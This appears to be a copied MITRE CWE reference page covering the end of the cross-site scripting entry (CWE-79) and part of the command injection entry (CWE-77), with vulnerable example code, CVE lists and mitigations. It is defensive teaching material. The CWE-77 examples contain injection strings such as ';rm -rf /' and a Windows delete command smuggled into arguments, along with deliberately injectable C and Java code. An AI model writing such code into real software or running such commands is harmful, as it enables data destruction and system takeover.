The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:

(bad code)

Example Language: PHP

$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)

The raw contents of the message file would look like:

(result)

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Observed Examples

Reference	Description
CVE-2021-25926	Python Library Manager did not sufficiently neutralize a user-supplied search term, allowing reflected XSS.
CVE-2021-25963	Python-based e-commerce platform did not escape returned content on error pages, allowing for reflected Cross-Site Scripting attacks.
CVE-2021-1879	Universal XSS in mobile operating system, as exploited in the wild per CISA KEV.
CVE-2020-3580	Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.
CVE-2014-8958	Admin GUI allows XSS through cookie.
CVE-2017-9764	Web stats program allows XSS through crafted HTTP header.
CVE-2014-5198	Web log analysis product allows XSS through crafted HTTP Referer header.
CVE-2008-5080	Chain: protection mechanism failure allows XSS
CVE-2006-4308	Chain: incomplete denylist (CWE-184) only checks "javascript:" tag, allowing XSS (CWE-79) using other tags
CVE-2007-5727	Chain: incomplete denylist (CWE-184) only removes SCRIPT tags, enabling XSS (CWE-79)
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL
CVE-2008-4730	Reflected XSS not properly handled when generating an error message
CVE-2008-5734	Reflected XSS sent through email message.
CVE-2008-0971	Stored XSS in a security product.
CVE-2008-5249	Stored XSS using a wiki page.
CVE-2006-3568	Stored XSS in a guestbook application.
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
CVE-2006-3295	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79).

Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

HTML body

Element attributes (such as src="XYZ")

URIs

JavaScript sections

Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

Phase: Operation

Strategy: Firewall

Effectiveness: Moderate

Phases: Operation; Implementation

Strategy: Environment Hardening

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	801	2010 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	864	2011 Top 25 - Insecure Interaction Between Components
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1005	7PK - Input Validation and Representation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-79

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-209	XSS Using MIME Type Mismatch
CAPEC-588	DOM-Based XSS
CAPEC-591	Reflected XSS
CAPEC-592	Stored XSS
CAPEC-63	Cross-Site Scripting (XSS)
CAPEC-85	AJAX Footprinting

References

[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.

[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <https://en.wikipedia.org/wiki/Cross-site_scripting>. URL validated: 2023-04-07.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.

[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-718] Ivan Ristic. "XSS Defense HOWTO". <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/>. URL validated: 2023-04-07.

[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.

[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria>. URL validated: 2023-04-07.

[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.

[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.

[REF-723] "Apache Wicket". <http://wicket.apache.org/>.

[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.

[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.

[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.

[REF-956] Wikipedia. "Samy (computer worm)". <https://en.wikipedia.org/wiki/Samy_(computer_worm)>. URL validated: 2018-01-16.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01 (CWE 1.0, 2008-09-09)	Eric Dalci	Cigital
2008-07-01 (CWE 1.0, 2008-09-09)	updated Time_of_Introduction
2008-08-15 (CWE 1.0, 2008-09-09)		Veracode
2008-08-15 (CWE 1.0, 2008-09-09)	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Description
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Observed_Examples, Relationships
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples, References
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Detection_Factors, Potential_Mitigations
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Description
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Background_Details, Observed_Examples
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Alternate_Terms, Demonstrative_Examples, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Cross-site Scripting (XSS)

2009-01-12	Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))

2009-05-27	Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')

2010-06-21	Failure to Preserve Web Page Structure ('Cross-site Scripting')

Weakness ID: 77

Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

View customized information:

Description

Extended Description

Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source.

2. The data is part of a string that is executed as a command by the application.

3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.

Command injection is a common problem with wrapper programs.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	624	Executable Regular Expression Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	624	Executable Regular Expression Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	624	Executable Regular Expression Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)

Example Language: C

int main(int argc, char** argv) {

char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);

}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)

Example Language: Java

...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"

c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

(bad code)

Example Language: Java

...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

(bad code)

Example Language: C

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {

char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);

}

Used normally, the output is simply the contents of the file requested:

(informative)

$ ./catWrapper Story.txt
When last we left our heroes...

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

(attack code)

$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Observed Examples

Reference	Description
CVE-2022-36069	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution.
CVE-1999-0067	Canonical example of OS command injection. CGI program does not neutralize "\|" metacharacter when invoking a phonebook program.
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
CVE-2022-1509	injection of sed script syntax ("sed injection")
CVE-2021-41282	injection of sed script syntax ("sed injection")
CVE-2019-13398	injection of sed script syntax ("sed injection")
CVE-2019-12921	image program allows injection of commands in "Magick Vector Graphics (MVG)" language.
CVE-2020-11698	anti-spam product allows injection of SNMP commands into confiuration file

Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Implementation

If possible, ensure that all external commands called from the program are statically created.

Phase: Implementation

Strategy: Input Validation

Phase: Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Phase: System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	713	OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	727	OWASP Top Ten 2004 Category A6 - Injection Flaws
